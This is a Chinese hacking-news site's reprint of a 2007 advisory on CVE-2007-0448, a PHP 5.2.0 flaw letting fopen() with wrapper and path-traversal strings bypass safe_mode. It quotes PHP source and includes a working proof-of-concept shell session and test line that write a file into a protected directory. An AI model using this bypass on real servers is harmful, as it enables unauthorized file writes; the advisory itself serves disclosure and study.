黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客新闻 >> 漏洞公告 >> 正文
·没有路由密码权限时的鸽08-23·讨论net.exe和net1.exe的10-10
·让3389远程桌面传输更通10-10·巧妙入侵渗透赌博站10-10
·Aspx空间扫权限工具10-10·Windows2003最新提权工具10-10
·易淘乐提供100M免费全能10-10·系统开机密码忘了不着急10-09
·中意网络提供免费100M免10-09·与众不同 Windows XP开始10-08
·让桌面图标翻跟斗 在XP上10-08·上海宽元站长资助计划-提10-08
·个性化Windows XP的任务10-07·趣盘提供3G免费网络硬盘10-07
·秀山热线提供200MB免费全10-07·一次艰辛的提权过程10-06
·成功入侵IT大卖场的渗透10-06·mysqlhack- MYSQL利用工10-06
·lanker一句话PHP后门客户10-06·WIXI提供3G免费多媒体网10-06
·新人网络提供100M/ftp免10-06·如何利用QQ带来高流量10-05
·UuShare提供免费网络文件10-05·COA资源论坛为新手站长提10-05
·Win XP系统下27招释放C盘10-04·免费的家族网络相册-My10-04
·日照网络提供100MB免费全10-04·Oosah提供1024G免费网络10-03
[推荐]PHP fopen Safe_Mode绕过安全限制漏洞
        ★★★

PHP fopen Safe_Mode绕过安全限制漏洞

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-2-1 9:54:39

受影响系统:
PHP PHP 5.2.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 22261
CVE(CAN) ID: CVE-2007-0448

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP对fopen的实现上存在漏洞,远程攻击者可能利用此漏洞使用写模式绕过safe_mode的安全限制。

在fopen()函数中:

- -845-845--- Code from PHP520 ext/standard/file.c [START]
stream = php_stream_open_wrapper_ex(filename, mode, (use_include_path ? USE_PATH : 0) |
ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL, context);
- -845-845--- Code from PHP520 ext/standard/file.c [END]

在safe_mode.c文件中:

- -142-152--- Code from main/safe_mode.c [START]
ret = VCWD_STAT(path, &sb);
if (ret < 0) {
if ((flags & CHECKUID_NO_ERRORS) == 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to access %s", filename);
}
return 0;
}
duid = sb.st_uid;
dgid = sb.st_gid;
if (duid == php_getuid()) {
return 1;
- -142-152--- Code from main/safe_mode.c [END]

如果duid == php_getuid()的话,就可以绕过safe_mode。

#define VCWD_STAT(path, buff) virtual_stat(path, buff TSRMLS_CC)

在virtual_stat()函数中:

- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [START]
CWD_API int virtual_stat(const char *path, struct stat *buf TSRMLS_DC)
{
cwd_state new_state;
int retval;

CWD_STATE_COPY(&new_state, &CWDG(cwd));
if (virtual_file_ex(&new_state, path, NULL, 1)) {
return -1;
}

retval = stat(new_state.cwd, buf);

CWD_STATE_FREE(&new_state);
return retval;
}
- -831-845--- Code from TSRM/tsrm_virtual_cwd.c [END]

因此用户可以尝试创建/dir/pliczek文件。

cxib# uname -a
FreeBSD cxib.laptop 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 08:43:30 UTC 2007
root@portnoy.cse.buffalo.edu:/usr/obj/usr/src/sys/SMP amd64
cxib# php -r 'fopen("/dir/pliczek", "a");'

Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not
allowed to access /dir owned by uid 80 in Command line code on line 1

Warning: fopen(/dir/pliczek): failed to open stream: Invalid argument in Command line code on
line 1
cxib# php -r 'fopen("compress.zlib://../../../../../../../dir/pliczek",
"a");'

Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 1030 is not
allowed to access /dir owned by uid 80 in Command line code on line 1

Warning: fopen(compress.zlib://../../../../../../../dir/pliczek): failed to open stream:
Invalid argument in Command line code on line 1

cxib# php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
cxib# ls -la /dir/pliczek
- -rw-r--r-- 1 cxib www 0 Jan 19 21:26 /dir/pliczek

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
 
  链接:http://securityreason.com/achievement_securityalert/44
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

fopen("compress.zlib://../../../../../../../dir/pliczek", "a");

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

新闻录入:sygbox    责任编辑:sygbox 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886